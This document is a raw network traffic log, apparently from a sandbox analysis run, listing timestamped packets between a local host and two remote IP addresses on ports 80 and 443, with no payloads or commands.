Oct 29, 2024 20:36:27.150571108 CET	443	49987	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:27.150652885 CET	443	49987	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:27.150703907 CET	49987	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:27.150924921 CET	49987	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:27.150939941 CET	443	49987	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:27.150954008 CET	49987	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:27.150959969 CET	443	49987	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:27.151432037 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.151451111 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.151460886 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.151490927 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.151519060 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.182377100 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.182396889 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.182406902 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.182437897 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.182466030 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.196327925 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.196350098 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.196360111 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.196393967 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.196422100 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.266797066 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.266822100 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.266834021 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.266844988 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.266863108 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.266907930 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.267066956 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.267137051 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.267157078 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.267168999 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.267179966 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.267201900 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.267226934 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.267235041 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.267283916 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.268073082 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.268137932 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.269551992 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.269608021 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.269649982 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.269659996 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.269665956 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.269675016 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.269716978 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.300451040 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.300472975 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.300517082 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.300515890 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.300538063 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.300553083 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.300564051 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.300630093 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.314599991 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.314624071 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.314635038 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.314655066 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.314661026 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.314685106 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.314732075 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.368822098 CET	49988	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:27.368850946 CET	443	49988	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:27.368921995 CET	49988	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:27.369972944 CET	49988	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:27.369988918 CET	443	49988	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:27.385013103 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.385025978 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.385077953 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.385243893 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.385255098 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.385297060 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.385302067 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.385308981 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.385320902 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.385334969 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.385356903 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.385379076 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.385380030 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.385406017 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.385446072 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.387763977 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.387794018 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.387805939 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.387814999 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.387847900 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.387867928 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.387880087 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.387908936 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.387958050 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.418992043 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.419015884 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.419027090 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.419059038 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.419090986 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.432569027 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.432580948 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.432610989 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.432640076 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.432658911 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.432671070 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.432674885 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.432709932 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.432729006 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.503350019 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.503365040 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.503376007 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.503401995 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.503457069 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.503834963 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.503846884 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.503859997 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.503873110 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.503886938 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.503911972 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.504165888 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.504179001 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.504189014 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.504210949 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.504245996 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.505798101 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.505811930 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.505841970 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.505933046 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.505944967 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.505955935 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.505970001 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.505978107 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.505995989 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.506025076 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.536865950 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.536880016 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.536921024 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.536938906 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.536973000 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.536978960 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.537005901 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.550811052 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.550834894 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.550846100 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.550859928 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.550885916 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.550940037 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.550976992 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.550991058 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.551023960 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.621459961 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.621476889 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.621489048 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.621501923 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.621529102 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.621558905 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.621718884 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.621762991 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.621783972 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.621802092 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.621829033 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.621844053 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.621855021 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.621865988 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.621891975 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.622669935 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.622713089 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.623989105 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.624013901 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.624032021 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.624053955 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.624068022 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.624087095 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.624108076 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.624109030 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.624133110 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.624174118 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.655097961 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.655112028 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.655122995 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.655174971 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.655219078 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.669039011 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.669064045 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.669075966 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.669092894 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.669127941 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.709754944 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.709769011 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.709779978 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.709820986 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.709846020 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.741386890 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.741410971 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.741421938 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.741467953 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.741497993 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.741668940 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.741679907 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.741717100 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.741745949 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.741749048 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.741770983 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.741782904 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.741787910 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.741811037 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.741832018 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.741853952 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.741867065 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.741890907 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.741914034 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.743632078 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.743671894 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.743696928 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.743707895 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.743740082 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.743757010 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.743767977 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.743794918 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.743832111 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.774190903 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.774245977 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.774257898 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.774269104 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.774287939 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.786904097 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.786928892 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.786940098 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.786967039 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.787070990 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.828030109 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.828042984 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.828053951 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.828108072 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.828219891 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.828385115 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.828394890 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.828425884 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.859528065 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.859541893 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.859565020 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.859577894 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.859607935 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.859666109 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.859710932 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.859858990 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.859904051 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.859945059 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.859988928 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.860054970 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.860101938 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.860114098 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.860126019 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.860136986 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.860156059 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.860183954 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.861565113 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.861586094 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.861598015 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.861614943 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.861656904 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.861665964 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.861701965 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.861958981 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.862004995 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.862021923 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.862065077 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.101881981 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.101897955 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.101913929 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.101926088 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.101937056 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.101948977 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.101947069 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.101960897 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.102003098 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.102094889 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.102138996 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.102231026 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.102269888 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.102297068 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.102308989 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.102343082 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.102361917 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.102597952 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.102610111 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.102622986 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.102633953 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.102646112 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.102653980 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.102653980 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.102659941 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.102670908 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.102672100 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.102684975 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.102694035 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.102698088 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.102708101 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.102740049 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.102894068 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.102905035 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.102916002 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.102927923 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.102938890 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.102940083 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.102951050 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.102955103 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.102965117 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.102993965 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.103004932 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.103169918 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.103180885 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.103193045 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.103214979 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.103221893 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.103236914 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.103240013 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.103250027 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.103261948 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.103269100 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.103291988 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.103301048 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.103494883 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.103507996 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.103517056 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.103528976 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.103533030 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.103534937 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.103548050 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.103559017 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.103569984 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.103573084 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.103573084 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.103581905 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.103588104 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.103595018 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.103605986 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.103612900 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.103616953 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.103630066 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.103635073 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.103662968 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.103671074 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.106213093 CET	443	49988	188.114.96.3	192.168.2.7
